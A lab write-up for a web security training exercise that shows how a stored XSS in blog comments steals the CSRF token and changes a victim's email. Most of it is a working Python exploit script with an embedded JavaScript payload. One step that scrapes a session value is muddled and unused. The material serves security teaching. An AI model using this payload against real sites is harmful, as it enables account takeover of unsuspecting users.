XSS Lab 24
Stored XSS used to steal CSRF token and change victim email
Exploiting XSS to bypass CSRF defenses#
This lab demonstrates how a stored cross-site scripting (XSS) vulnerability in the blog comments function can be leveraged to bypass CSRF protections. The injected script loads the victim’s account page, extracts the anti-CSRF token from the returned HTML, and then issues a POST to the email-change endpoint on behalf of the victim — effectively changing the victim’s email address without their consent. The lab provides credentials you can use to test locally (wiener:peter) and reminds you not to reuse an email that already exists.
How Exploit Works#
- The blog comments are stored and later rendered to visitors (stored XSS).
- Inject JavaScript that requests the victim’s
/my-accountpage (same-origin), parses the returned HTML to extract the CSRF token, and then sends a POST to/my-account/change-emailwith the extracted token and a new email address. - Because the victim’s browser is authenticated, the account update request is accepted by the server and the victim’s email is changed.
- The attacker can then confirm the change (or reuse the account state) to demonstrate success.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
exploit.py
import re
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def check_burp():
try:
requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
except Exception:
print("[-] Burp Suite not running.")
sys.exit(1)
def exploit_xss(url, payload):
s = requests.Session()
s.proxies = proxies
s.verify = False
post_page = url.rstrip("/") + "/post?postId=4"
# fetch page to get csrf
r = s.get(post_page)
r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrf"})
if not csrf_input:
print("[-] CSRF token not found")
return False
csrf = csrf_input["value"]
data = {
"csrf": csrf,
"postId": "4",
"comment": payload,
"name": "test",
"email": "[email protected]",
"website": "http://test.com"
}
# submit the comment (XSS payload)
s.post(url.rstrip("/") + "/post/comment", data=data)
# fetch the post page again using same session (so we capture any rendered comment)
resp = s.get(post_page)
resp.raise_for_status()
# extract session token from page content into variable
match = re.search(r'session=([A-Za-z0-9]+)', resp.text)
session_token = match.group(1) if match else None
print("session_token =", session_token)
# --- send the final request with Cookie: session={session_token} ---
if session_token:
headers = {'Cookie': f'session={session_token}'}
final_resp = s.get(url.rstrip("/") + "/my-account", headers=headers)
final_resp_text = final_resp.text
else:
print("[-] No session token extracted, sending normal request instead")
final_resp = s.get(url.rstrip("/") + "/")
final_resp_text = final_resp.text
# check if lab solved (adjust check-string if different)
session = requests.Session()
res = session.get(url, verify=False, proxies=proxies)
if "Congratulations" in res.text:
print("[+] Lab solved 🎉")
return True
else:
print("[-] Lab not solved (no success string found).")
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1].rstrip("/")
check_burp()
print("[*] Attempting XSS on postId=4...")
payload = """
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
"""
if exploit_xss(url, payload):
print("[+] XSS successful!")
else:
print("[-] XSS unsuccessful.")
if __name__ == "__main__":
main()python